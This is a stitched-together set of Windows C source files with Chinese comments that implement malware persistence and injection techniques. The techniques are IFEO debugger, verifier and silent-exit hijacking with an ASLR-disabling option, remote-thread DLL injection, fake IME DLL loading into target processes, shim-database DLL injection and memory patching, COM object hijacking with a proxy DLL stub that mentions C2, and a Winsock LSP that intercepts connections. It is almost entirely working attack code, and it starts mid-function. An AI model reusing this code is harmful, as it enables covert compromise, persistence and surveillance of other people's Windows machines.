                RegCloseKey(hKey);
                wprintf(L"WOW64 key also updated\n");
            }
        }
    } else {
        wprintf(L"Failed (need administrator privileges)\n");
        return 1;
    }
    
    return 0;
}
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "advapi32.lib")

#define IFEO_BASE L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"

typedef enum {
    IFEO_DEBUGGER,        // 经典 Debugger 重定向
    IFEO_VERIFIER,        // Application Verifier DLL 注入
    IFEO_GLOBALFLAG,      // 全局标志(页堆、栈回溯等)
    IFEO_MITIGATION,      // 进程缓解策略修改
    IFEO_SILENT_EXIT      // 静默退出监控(WerFault 劫持)
} IFEO_METHOD;

BOOL InstallIfeo(const WCHAR* targetExe, const WCHAR* payload, IFEO_METHOD method) {
    WCHAR keyPath[512];
    swprintf_s(keyPath, 512, L"%s\\%s", IFEO_BASE, targetExe);
    
    HKEY hKey;
    DWORD disposition;
    LONG ret = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, &disposition);
    if (ret != ERROR_SUCCESS) return FALSE;
    
    BOOL result = FALSE;
    
    switch (method) {
        case IFEO_DEBUGGER: {
            // 方法1:经典 Debugger 劫持
            // 当系统启动 targetExe 时,实际启动的是 payload,targetExe 作为参数
            result = (RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, 
                (BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
            break;
        }
        
        case IFEO_VERIFIER: {
            // 方法2:Application Verifier 注入
            // 设置 GlobalFlag 启用 verifier,指定自定义 verifier DLL
            DWORD globalFlag = 0x100;  // FLG_APPLICATION_VERIFIER
            RegSetValueExW(hKey, L"GlobalFlag", 0, REG_DWORD, (BYTE*)&globalFlag, sizeof(DWORD));
            result = (RegSetValueExW(hKey, L"VerifierDlls", 0, REG_SZ,
                (BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
            break;
        }
        
        case IFEO_GLOBALFLAG: {
            // 方法3:启用页堆 + 栈回溯等调试功能
            DWORD flags = 0x02000000 | 0x1000;  // FLG_HEAP_PAGE_ALLOCS | FLG_USER_STACK_TRACE_DB
            result = (RegSetValueExW(hKey, L"GlobalFlag", 0, REG_DWORD, 
                (BYTE*)&flags, sizeof(DWORD)) == ERROR_SUCCESS);
            break;
        }
        
        case IFEO_MITIGATION: {
            // 方法4:修改进程缓解策略
            // 例如禁用 CFG、禁用 ASLR 等(降低目标安全性后再攻击)
            DWORD64 policy = 0;
            // PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_OFF
            policy |= (0x2ULL << 8);
            // PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_OFF
            policy |= (0x2ULL << 16);
            
            WCHAR mitigation[128];
            swprintf_s(mitigation, 128, L"%llu", policy);
            result = (RegSetValueExW(hKey, L"MitigationOptions", 0, REG_SZ,
                (BYTE*)mitigation, (DWORD)((wcslen(mitigation) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
            break;
        }
        
        case IFEO_SILENT_EXIT: {
            // 方法5:静默退出监控
            // 当进程退出时触发 WerFault 或自定义监控程序
            DWORD reportingMode = 1;  // LAUNCH_MONITORPROCESS
            RegSetValueExW(hKey, L"ReportingMode", 0, REG_DWORD, (BYTE*)&reportingMode, sizeof(DWORD));
            result = (RegSetValueExW(hKey, L"MonitorProcess", 0, REG_SZ,
                (BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
            
            // 还需要在 SilentProcessExit 子键配置
            WCHAR silentKey[512];
            swprintf_s(silentKey, 512, L"%s\\%s\\SilentProcessExit", IFEO_BASE, targetExe);
            HKEY hSilent;
            if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, silentKey, 0, NULL, 0, KEY_SET_VALUE, NULL, &hSilent, NULL) == ERROR_SUCCESS) {
                RegSetValueExW(hSilent, L"MonitorProcess", 0, REG_SZ, (BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR)));
                RegSetValueExW(hSilent, L"ReportingMode", 0, REG_DWORD, (BYTE*)&reportingMode, sizeof(DWORD));
                RegCloseKey(hSilent);
            }
            break;
        }
    }
    
    RegCloseKey(hKey);
    return result;
}

BOOL RemoveIfeo(const WCHAR* targetExe) {
    WCHAR keyPath[512];
    swprintf_s(keyPath, 512, L"%s\\%s", IFEO_BASE, targetExe);
    return (RegDeleteTreeW(HKEY_LOCAL_MACHINE, keyPath) == ERROR_SUCCESS);
}

// Debugger 代理程序(作为 payload 使用)
// 当系统通过 IFEO 启动此程序时,原始 exe 路径在 argv[1]
#ifdef BUILD_DEBUGGER_PROXY
int wmain(int argc, WCHAR* argv[]) {
    if (argc < 2) return 1;
    
    // argv[1] = 原始目标程序路径
    // 可以在此注入 DLL 后再启动目标程序
    
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    
    // 注入方式:CREATE_SUSPENDED -> 注入 DLL -> ResumeThread
    if (CreateProcessW(argv[1], GetCommandLineW(), NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        // 在这里执行 DLL 注入
        WCHAR dllToInject[] = L"C:\\payload.dll";
        SIZE_T dllPathSize = (wcslen(dllToInject) + 1) * sizeof(WCHAR);
        
        LPVOID remoteBuf = VirtualAllocEx(pi.hProcess, NULL, dllPathSize, MEM_COMMIT, PAGE_READWRITE);
        WriteProcessMemory(pi.hProcess, remoteBuf, dllToInject, dllPathSize, NULL);
        
        HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
        LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");
        
        HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, pLoadLibrary, remoteBuf, 0, NULL);
        WaitForSingleObject(hThread, 5000);
        CloseHandle(hThread);
        VirtualFreeEx(pi.hProcess, remoteBuf, 0, MEM_RELEASE);
        
        ResumeThread(pi.hThread);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }
    
    return 0;
}
#endif

int wmain(int argc, WCHAR* argv[]) {
    // 示例:对 notepad.exe 安装 IFEO Debugger 劫持
    InstallIfeo(L"notepad.exe", L"C:\\debugger_proxy.exe", IFEO_DEBUGGER);
    wprintf(L"IFEO installed for notepad.exe\n");
    
    // 示例:对 target.exe 安装 Verifier DLL 注入
    InstallIfeo(L"target.exe", L"payload.dll", IFEO_VERIFIER);
    wprintf(L"Verifier DLL injection configured for target.exe\n");
    
    return 0;
}
#include <windows.h>
#include <imm.h>
#include <stdio.h>

#pragma comment(lib, "imm32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")

#define FAKE_IME_KEY L"E0200804"  // 自定义键盘布局 ID
#define FAKE_IME_NAME L"Fake Research IME"

// === 安装器代码 ===

BOOL RegisterFakeIme(const WCHAR* imeDllPath) {
    WCHAR keyPath[256];
    swprintf_s(keyPath, 256, L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", FAKE_IME_KEY);
    
    HKEY hKey;
    DWORD disposition;
    LONG ret = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, &disposition);
    if (ret != ERROR_SUCCESS) return FALSE;
    
    // 设置输入法文件名(只需要文件名,不需要完整路径,DLL 需放在 System32)
    WCHAR* dllName = wcsrchr(imeDllPath, L'\\');
    dllName = dllName ? dllName + 1 : (WCHAR*)imeDllPath;
    
    RegSetValueExW(hKey, L"Ime File", 0, REG_SZ, (BYTE*)dllName, (DWORD)((wcslen(dllName) + 1) * sizeof(WCHAR)));
    RegSetValueExW(hKey, L"Layout Text", 0, REG_SZ, (BYTE*)FAKE_IME_NAME, sizeof(FAKE_IME_NAME));
    
    WCHAR layoutFile[] = L"kbdus.dll";
    RegSetValueExW(hKey, L"Layout File", 0, REG_SZ, (BYTE*)layoutFile, sizeof(layoutFile));
    
    RegCloseKey(hKey);
    
    // 复制 DLL 到 System32
    WCHAR sysDir[MAX_PATH];
    GetSystemDirectoryW(sysDir, MAX_PATH);
    WCHAR destPath[MAX_PATH];
    swprintf_s(destPath, MAX_PATH, L"%s\\%s", sysDir, dllName);
    CopyFileW(imeDllPath, destPath, FALSE);
    
    return TRUE;
}

BOOL ActivateFakeIme(DWORD targetTid) {
    // 加载输入法到指定线程
    HKL hkl = LoadKeyboardLayoutW(FAKE_IME_KEY, KLF_ACTIVATE);
    if (!hkl) return FALSE;
    
    if (targetTid != 0) {
        // 向目标线程发送输入法切换消息
        PostThreadMessageW(targetTid, WM_INPUTLANGCHANGEREQUEST, 0, (LPARAM)hkl);
    }
    
    return TRUE;
}

BOOL InjectViaIme(DWORD targetPid) {
    // 找到目标进程的主线程
    HWND hWnd = NULL;
    DWORD tid = 0;
    
    // 枚举目标进程的窗口
    typedef struct { DWORD pid; HWND hwnd; } FIND_WND_DATA;
    FIND_WND_DATA data = { targetPid, NULL };
    
    EnumWindows([](HWND hwnd, LPARAM lp) -> BOOL {
        FIND_WND_DATA* d = (FIND_WND_DATA*)lp;
        DWORD pid;
        GetWindowThreadProcessId(hwnd, &pid);
        if (pid == d->pid && IsWindowVisible(hwnd)) {
            d->hwnd = hwnd;
            return FALSE;
        }
        return TRUE;
    }, (LPARAM)&data);
    
    if (!data.hwnd) return FALSE;
    
    tid = GetWindowThreadProcessId(data.hwnd, NULL);
    
    // 激活伪造输入法到目标线程
    HKL hkl = LoadKeyboardLayoutW(FAKE_IME_KEY, KLF_ACTIVATE | KLF_REORDER);
    if (!hkl) return FALSE;
    
    // 通过 WM_INPUTLANGCHANGEREQUEST 触发目标进程加载 IME DLL
    PostMessageW(data.hwnd, WM_INPUTLANGCHANGEREQUEST, 0, (LPARAM)hkl);
    
    return TRUE;
}

void UnregisterFakeIme() {
    UnloadKeyboardLayout(LoadKeyboardLayoutW(FAKE_IME_KEY, 0));
    
    WCHAR keyPath[256];
    swprintf_s(keyPath, 256, L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", FAKE_IME_KEY);
    RegDeleteTreeW(HKEY_LOCAL_MACHINE, keyPath);
}

// === IME DLL 代码 ===
// 编译为 fakeime.dll,需导出 IME 标准接口

#ifdef BUILD_IME_DLL

static BOOL g_payloadExecuted = FALSE;

void ImePayload() {
    if (g_payloadExecuted) return;
    g_payloadExecuted = TRUE;
    
    // 检查是否在目标进程中
    char exePath[MAX_PATH];
    GetModuleFileNameA(NULL, exePath, MAX_PATH);
    
    // 执行实际 payload:内存 Hook、信息窃取等
    // 此处 IME DLL 已被系统加载到目标进程中
    
    // 示例:记录按键到共享内存
    HANDLE hMap = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 4096, "Global\\ImeHookShared");
    if (hMap) {
        char* pBuf = (char*)MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 4096);
        if (pBuf) {
            // 写入当前进程信息
            sprintf_s(pBuf, 4096, "Injected into PID: %lu EXE: %s", GetCurrentProcessId(), exePath);
            UnmapViewOfFile(pBuf);
        }
    }
}

// IME 标准导出函数
__declspec(dllexport) BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo, LPWSTR lpszUIClass, LPCWSTR lpszOption) {
    ImePayload();
    lpIMEInfo->dwPrivateDataSize = 0;
    lpIMEInfo->fdwProperty = IME_PROP_UNICODE | IME_PROP_AT_CARET;
    lpIMEInfo->fdwConversionCaps = 0;
    lpIMEInfo->fdwSentenceCaps = 0;
    lpIMEInfo->fdwUICaps = 0;
    lpIMEInfo->fdwSCSCaps = 0;
    lpIMEInfo->fdwSelectCaps = 0;
    wcscpy_s(lpszUIClass, 64, L"FakeIMEUI");
    return TRUE;
}

__declspec(dllexport) BOOL WINAPI ImeConfigure(HKL hKL, HWND hWnd, DWORD dwMode, LPVOID lpData) { return FALSE; }
__declspec(dllexport) DWORD WINAPI ImeConversionList(HIMC hIMC, LPCWSTR lpSrc, LPCANDIDATELIST lpDst, DWORD dwBufLen, UINT uFlag) { return 0; }
__declspec(dllexport) BOOL WINAPI ImeDestroy(UINT uForce) { return TRUE; }
__declspec(dllexport) LRESULT WINAPI ImeEscape(HIMC hIMC, UINT uSubFunc, LPVOID lpData) { return 0; }
__declspec(dllexport) BOOL WINAPI ImeProcessKey(HIMC hIMC, UINT uVirKey, LPARAM lParam, CONST LPBYTE lpbKeyState) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeSelect(HIMC hIMC, BOOL fSelect) { return TRUE; }
__declspec(dllexport) BOOL WINAPI ImeSetActiveContext(HIMC hIMC, BOOL fFlag) { return TRUE; }
__declspec(dllexport) UINT WINAPI ImeToAsciiEx(UINT uVirKey, UINT uScanCode, CONST LPBYTE lpbKeyState, LPDWORD lpdwTransBuf, UINT fuState, HIMC hIMC) { return 0; }
__declspec(dllexport) BOOL WINAPI NotifyIME(HIMC hIMC, DWORD dwAction, DWORD dwIndex, DWORD dwValue) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeSetCompositionString(HIMC hIMC, DWORD dwIndex, LPCVOID lpComp, DWORD dwCompLen, LPCVOID lpRead, DWORD dwReadLen) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeRegisterWord(LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeUnregisterWord(LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString) { return FALSE; }
__declspec(dllexport) UINT WINAPI ImeGetRegisterWordStyle(UINT nItem, LPSTYLEBUFW lpStyleBuf) { return 0; }
__declspec(dllexport) UINT WINAPI ImeEnumRegisterWord(REGISTERWORDENUMPROCW lpfnEnumProc, LPCWSTR lpszReading, DWORD dwStyle, LPCWSTR lpszString, LPVOID lpData) { return 0; }

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        ImePayload();
    }
    return TRUE;
}
#endif
#include <windows.h>
#include <stdio.h>

typedef HANDLE (WINAPI *SdbCreateDatabase_t)(LPCWSTR path, DWORD type);
typedef void   (WINAPI *SdbCloseDatabaseWrite_t)(HANDLE db);
typedef DWORD  (WINAPI *SdbBeginWriteListTag_t)(HANDLE db, DWORD tag);
typedef BOOL   (WINAPI *SdbEndWriteListTag_t)(HANDLE db, DWORD tagId);
typedef BOOL   (WINAPI *SdbWriteStringTag_t)(HANDLE db, DWORD tag, LPCWSTR value);
typedef BOOL   (WINAPI *SdbWriteDWORDTag_t)(HANDLE db, DWORD tag, DWORD value);
typedef BOOL   (WINAPI *SdbWriteBinaryTag_t)(HANDLE db, DWORD tag, BYTE* data, DWORD size);

#define TAG_DATABASE     0x7001
#define TAG_LIBRARY      0x7002
#define TAG_EXE          0x7007
#define TAG_SHIM_REF     0x7008
#define TAG_PATCH_REF    0x7009
#define TAG_PATCH        0x700A
#define TAG_NAME         0x6001
#define TAG_APP_NAME     0x6006
#define TAG_DLLFILE      0x6003
#define TAG_OS_PLATFORM  0x4023
#define TAG_PATCH_BITS   0x9002
#define TAG_COMMAND_LINE 0x6008

BOOL CreateInjectDllSdb(const WCHAR* sdbPath, const WCHAR* targetExe, const WCHAR* dllToInject) {
    HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
    if (!hApphelp) return FALSE;
    
    SdbCreateDatabase_t pCreate = (SdbCreateDatabase_t)GetProcAddress(hApphelp, "SdbCreateDatabase");
    SdbCloseDatabaseWrite_t pClose = (SdbCloseDatabaseWrite_t)GetProcAddress(hApphelp, "SdbCloseDatabaseWrite");
    SdbBeginWriteListTag_t pBeginList = (SdbBeginWriteListTag_t)GetProcAddress(hApphelp, "SdbBeginWriteListTag");
    SdbEndWriteListTag_t pEndList = (SdbEndWriteListTag_t)GetProcAddress(hApphelp, "SdbEndWriteListTag");
    SdbWriteStringTag_t pWriteString = (SdbWriteStringTag_t)GetProcAddress(hApphelp, "SdbWriteStringTag");
    SdbWriteDWORDTag_t pWriteDword = (SdbWriteDWORDTag_t)GetProcAddress(hApphelp, "SdbWriteDWORDTag");
    
    if (!pCreate || !pClose || !pBeginList || !pEndList || !pWriteString) {
        FreeLibrary(hApphelp);
        return FALSE;
    }
    
    HANDLE hSdb = pCreate(sdbPath, 2);
    if (!hSdb || hSdb == INVALID_HANDLE_VALUE) { FreeLibrary(hApphelp); return FALSE; }
    
    DWORD dbTag = pBeginList(hSdb, TAG_DATABASE);
    pWriteString(hSdb, TAG_NAME, L"CustomShimDB");
    pWriteDword(hSdb, TAG_OS_PLATFORM, 1);
    
    DWORD libTag = pBeginList(hSdb, TAG_LIBRARY);
    DWORD shimTag = pBeginList(hSdb, 0x700A);
    pWriteString(hSdb, TAG_NAME, L"InjectDll");
    pWriteString(hSdb, TAG_DLLFILE, L"InjectDll.dll");
    pEndList(hSdb, shimTag);
    pEndList(hSdb, libTag);
    
    DWORD exeTag = pBeginList(hSdb, TAG_EXE);
    pWriteString(hSdb, TAG_NAME, targetExe);
    pWriteString(hSdb, TAG_APP_NAME, L"TargetApp");
    DWORD refTag = pBeginList(hSdb, TAG_SHIM_REF);
    pWriteString(hSdb, TAG_NAME, L"InjectDll");
    pWriteString(hSdb, TAG_COMMAND_LINE, dllToInject);
    pEndList(hSdb, refTag);
    pEndList(hSdb, exeTag);
    pEndList(hSdb, dbTag);
    
    pClose(hSdb);
    FreeLibrary(hApphelp);
    return TRUE;
}

BOOL InstallSdb(const WCHAR* sdbPath) {
    HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
    if (!hApphelp) return FALSE;
    typedef BOOL (WINAPI *SdbInstallDB_t)(LPCWSTR, DWORD);
    SdbInstallDB_t p = (SdbInstallDB_t)GetProcAddress(hApphelp, "SdbInstallDB");
    BOOL r = p ? p(sdbPath, 0) : FALSE;
    FreeLibrary(hApphelp);
    return r;
}

typedef struct { DWORD rva; BYTE* patchBytes; DWORD patchSize; } MEMORY_PATCH;

BOOL CreateMemPatchSdb(const WCHAR* sdbPath, const WCHAR* targetExe, MEMORY_PATCH* patches, DWORD count) {
    HMODULE hApphelp = LoadLibraryW(L"apphelp.dll");
    if (!hApphelp) return FALSE;
    SdbCreateDatabase_t pCreate = (SdbCreateDatabase_t)GetProcAddress(hApphelp, "SdbCreateDatabase");
    SdbCloseDatabaseWrite_t pClose = (SdbCloseDatabaseWrite_t)GetProcAddress(hApphelp, "SdbCloseDatabaseWrite");
    SdbBeginWriteListTag_t pBegin = (SdbBeginWriteListTag_t)GetProcAddress(hApphelp, "SdbBeginWriteListTag");
    SdbEndWriteListTag_t pEnd = (SdbEndWriteListTag_t)GetProcAddress(hApphelp, "SdbEndWriteListTag");
    SdbWriteStringTag_t pStr = (SdbWriteStringTag_t)GetProcAddress(hApphelp, "SdbWriteStringTag");
    SdbWriteBinaryTag_t pBin = (SdbWriteBinaryTag_t)GetProcAddress(hApphelp, "SdbWriteBinaryTag");
    
    HANDLE hSdb = pCreate(sdbPath, 2);
    if (!hSdb) { FreeLibrary(hApphelp); return FALSE; }
    
    DWORD db = pBegin(hSdb, TAG_DATABASE);
    pStr(hSdb, TAG_NAME, L"MemPatchDB");
    DWORD lib = pBegin(hSdb, TAG_LIBRARY);
    for (DWORD i = 0; i < count; i++) {
        DWORD pt = pBegin(hSdb, TAG_PATCH);
        WCHAR nm[32]; swprintf_s(nm, 32, L"P%d", i);
        pStr(hSdb, TAG_NAME, nm);
        DWORD sz = 8 + patches[i].patchSize;
        BYTE* bits = (BYTE*)calloc(1, sz);
        *(DWORD*)bits = patches[i].rva;
        *(DWORD*)(bits+4) = patches[i].patchSize;
        memcpy(bits+8, patches[i].patchBytes, patches[i].patchSize);
        pBin(hSdb, TAG_PATCH_BITS, bits, sz);
        free(bits);
        pEnd(hSdb, pt);
    }
    pEnd(hSdb, lib);
    DWORD exe = pBegin(hSdb, TAG_EXE);
    pStr(hSdb, TAG_NAME, targetExe);
    for (DWORD i = 0; i < count; i++) {
        DWORD ref = pBegin(hSdb, TAG_PATCH_REF);
        WCHAR nm[32]; swprintf_s(nm, 32, L"P%d", i);
        pStr(hSdb, TAG_NAME, nm);
        pEnd(hSdb, ref);
    }
    pEnd(hSdb, exe);
    pEnd(hSdb, db);
    pClose(hSdb);
    FreeLibrary(hApphelp);
    return TRUE;
}

int wmain() {
    CreateInjectDllSdb(L"C:\\inject.sdb", L"target.exe", L"C:\\payload.dll");
    InstallSdb(L"C:\\inject.sdb");
    BYTE nops[] = {0x90, 0x90, 0x90, 0x90, 0x90};
    MEMORY_PATCH p = {0x1234, nops, 5};
    CreateMemPatchSdb(L"C:\\patch.sdb", L"target.exe", &p, 1);
    return 0;
}
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ole32.lib")

typedef struct { WCHAR clsid[64]; WCHAR dll[MAX_PATH]; BOOL abandoned; } COM_TARGET;

DWORD ScanAbandonedCom(COM_TARGET* targets, DWORD max) {
    DWORD found = 0;
    HKEY hRoot;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Classes\\CLSID", 0, KEY_READ, &hRoot)) return 0;
    DWORD idx = 0; WCHAR clsid[64]; DWORD sz;
    while (found < max) {
        sz = 64;
        if (RegEnumKeyExW(hRoot, idx++, clsid, &sz, NULL, NULL, NULL, NULL)) break;
        WCHAR sub[128]; swprintf_s(sub, 128, L"%s\\InprocServer32", clsid);
        HKEY hSub;
        if (!RegOpenKeyExW(hRoot, sub, 0, KEY_READ, &hSub)) {
            WCHAR dll[MAX_PATH] = {0}; DWORD ds = sizeof(dll);
            if (!RegQueryValueExW(hSub, NULL, NULL, NULL, (BYTE*)dll, &ds)) {
                WCHAR exp[MAX_PATH]; ExpandEnvironmentStringsW(dll, exp, MAX_PATH);
                if (GetFileAttributesW(exp) == INVALID_FILE_ATTRIBUTES) {
                    wcscpy_s(targets[found].clsid, 64, clsid);
                    wcscpy_s(targets[found].dll, MAX_PATH, exp);
                    targets[found].abandoned = TRUE;
                    found++;
                }
            }
            RegCloseKey(hSub);
        }
    }
    RegCloseKey(hRoot);
    return found;
}

BOOL InstallComHijack(const WCHAR* clsid, const WCHAR* malDll) {
    WCHAR key[256];
    swprintf_s(key, 256, L"SOFTWARE\\Classes\\CLSID\\%s\\InprocServer32", clsid);
    HKEY hk;
    if (RegCreateKeyExW(HKEY_CURRENT_USER, key, 0, NULL, 0, KEY_SET_VALUE, NULL, &hk, NULL)) return FALSE;
    RegSetValueExW(hk, NULL, 0, REG_SZ, (BYTE*)malDll, (DWORD)((wcslen(malDll)+1)*2));
    WCHAR tm[] = L"Both";
    RegSetValueExW(hk, L"ThreadingModel", 0, REG_SZ, (BYTE*)tm, sizeof(tm));
    RegCloseKey(hk);
    return TRUE;
}

BOOL RemoveComHijack(const WCHAR* clsid) {
    WCHAR key[256];
    swprintf_s(key, 256, L"SOFTWARE\\Classes\\CLSID\\%s", clsid);
    return !RegDeleteTreeW(HKEY_CURRENT_USER, key);
}

// 代理 DLL 模板:转发原始 COM 接口,同时执行 payload
#ifdef BUILD_COM_PROXY
static HMODULE g_hOrig = NULL;
typedef HRESULT (WINAPI *DllGetClassObject_t)(REFCLSID, REFIID, LPVOID*);

void ComPayload() {
    // DLL 已加载到目标进程(explorer.exe / svchost.exe 等)
    // 可执行任意操作:Hook API、读取进程内存、建立 C2 通信等
    char exe[MAX_PATH];
    GetModuleFileNameA(NULL, exe, MAX_PATH);
    // 根据宿主进程决定行为
}

__declspec(dllexport) HRESULT WINAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
    if (!g_hOrig) g_hOrig = LoadLibraryW(L"C:\\Windows\\System32\\original_com.dll");
    if (g_hOrig) {
        DllGetClassObject_t pOrig = (DllGetClassObject_t)GetProcAddress(g_hOrig, "DllGetClassObject");
        if (pOrig) return pOrig(rclsid, riid, ppv);
    }
    return 0x80040111L; // CLASS_E_CLASSNOTAVAILABLE
}

__declspec(dllexport) HRESULT WINAPI DllCanUnloadNow(void) { return S_FALSE; }
__declspec(dllexport) HRESULT WINAPI DllRegisterServer(void) { return S_OK; }
__declspec(dllexport) HRESULT WINAPI DllUnregisterServer(void) { return S_OK; }

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        ComPayload();
    } else if (reason == DLL_PROCESS_DETACH) {
        if (g_hOrig) FreeLibrary(g_hOrig);
    }
    return TRUE;
}
#endif

// 高价值劫持目标
void PrintTargets() {
    const WCHAR* interesting[][2] = {
        {L"{BCDE0395-E52F-467C-8E3D-C4579291692E}", L"MMDeviceEnumerator"},
        {L"{4590F811-1D3A-11D0-891F-00AA004B2E24}", L"WbemLocator (WMI)"},
        {L"{F56F6FDD-AA9D-4618-A949-C1B91AF43B1A}", L"TaskScheduler"},
        {L"{0002DF01-0000-0000-C000-000000000046}", L"InternetExplorer"},
    };
    for (int i = 0; i < 4; i++)
        wprintf(L"  %s -> %s\n", interesting[i][0], interesting[i][1]);
}

int wmain() {
    COM_TARGET t[100]; DWORD n = ScanAbandonedCom(t, 100);
    wprintf(L"Found %lu abandoned COM objects:\n", n);
    for (DWORD i = 0; i < n && i < 15; i++)
        wprintf(L"  %s -> %s\n", t[i].clsid, t[i].dll);
    wprintf(L"\nHigh-value targets:\n");
    PrintTargets();
    return 0;
}
#include <windows.h>
#include <winsock2.h>
#include <ws2spi.h>
#include <sporder.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "rpcrt4.lib")

BOOL InstallLsp(const WCHAR* dllPath, const WCHAR* lspName) {
    WSADATA wd; WSAStartup(MAKEWORD(2, 2), &wd);
    
    DWORD bufSize = 0;
    WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
    LPWSAPROTOCOL_INFOW protoInfo = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
    int protoCount = WSCEnumProtocols(NULL, protoInfo, &bufSize, NULL);
    if (protoCount <= 0) { free(protoInfo); return FALSE; }
    
    DWORD tcpId = 0, udpId = 0;
    for (int i = 0; i < protoCount; i++) {
        if (protoInfo[i].iAddressFamily == AF_INET && protoInfo[i].ProtocolChain.ChainLen == 1) {
            if (protoInfo[i].iProtocol == IPPROTO_TCP) tcpId = protoInfo[i].dwCatalogEntryId;
            if (protoInfo[i].iProtocol == IPPROTO_UDP) udpId = protoInfo[i].dwCatalogEntryId;
        }
    }
    
    GUID lspGuid; UuidCreate(&lspGuid);
    WSAPROTOCOL_INFOW lspProto = protoInfo[0];
    lspProto.ProtocolChain.ChainLen = LAYERED_PROTOCOL;
    lspProto.dwServiceFlags1 = XP1_IFS_HANDLES;
    wcscpy_s(lspProto.szProtocol, WSAPROTOCOL_LEN + 1, lspName);
    
    int err = 0;
    if (WSCInstallProvider(&lspGuid, dllPath, &lspProto, 1, &err) == SOCKET_ERROR) {
        free(protoInfo); return FALSE;
    }
    
    // 重新枚举获取 LSP Catalog ID
    free(protoInfo); bufSize = 0;
    WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
    protoInfo = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
    protoCount = WSCEnumProtocols(NULL, protoInfo, &bufSize, NULL);
    
    DWORD lspCatId = 0;
    for (int i = 0; i < protoCount; i++)
        if (!memcmp(&protoInfo[i].ProviderId, &lspGuid, sizeof(GUID)))
            { lspCatId = protoInfo[i].dwCatalogEntryId; break; }
    
    // 创建协议链条目
    WSAPROTOCOL_INFOW chains[2] = {0}; int chainCount = 0;
    if (tcpId) {
        chains[chainCount] = protoInfo[0];
        chains[chainCount].ProtocolChain.ChainLen = 2;
        chains[chainCount].ProtocolChain.ChainEntries[0] = lspCatId;
        chains[chainCount].ProtocolChain.ChainEntries[1] = tcpId;
        chains[chainCount].iProtocol = IPPROTO_TCP;
        chains[chainCount].iSocketType = SOCK_STREAM;
        chainCount++;
    }
    if (udpId) {
        chains[chainCount] = protoInfo[0];
        chains[chainCount].ProtocolChain.ChainLen = 2;
        chains[chainCount].ProtocolChain.ChainEntries[0] = lspCatId;
        chains[chainCount].ProtocolChain.ChainEntries[1] = udpId;
        chains[chainCount].iProtocol = IPPROTO_UDP;
        chains[chainCount].iSocketType = SOCK_DGRAM;
        chainCount++;
    }
    
    GUID chainGuid; UuidCreate(&chainGuid);
    WSCInstallProvider(&chainGuid, dllPath, chains, chainCount, &err);
    
    free(protoInfo);
    WSACleanup();
    return TRUE;
}

// LSP DLL 实现
#ifdef BUILD_LSP_DLL
static WSPPROC_TABLE g_nextTable = {0};

int WSPAPI LSP_WSPConnect(SOCKET s, const struct sockaddr* name, int namelen,
    LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS, LPINT lpErrno)
{
    if (name->sa_family == AF_INET) {
        struct sockaddr_in* addr = (struct sockaddr_in*)name;
        USHORT port = ntohs(addr->sin_port);
        ULONG ip = ntohl(addr->sin_addr.s_addr);
        // 记录连接目标 / 阻止特定 IP:Port / 重定向流量
        // if (port == 443 && ip == TARGET_IP) { *lpErrno = WSAECONNREFUSED; return SOCKET_ERROR; }
    }
    return g_nextTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}

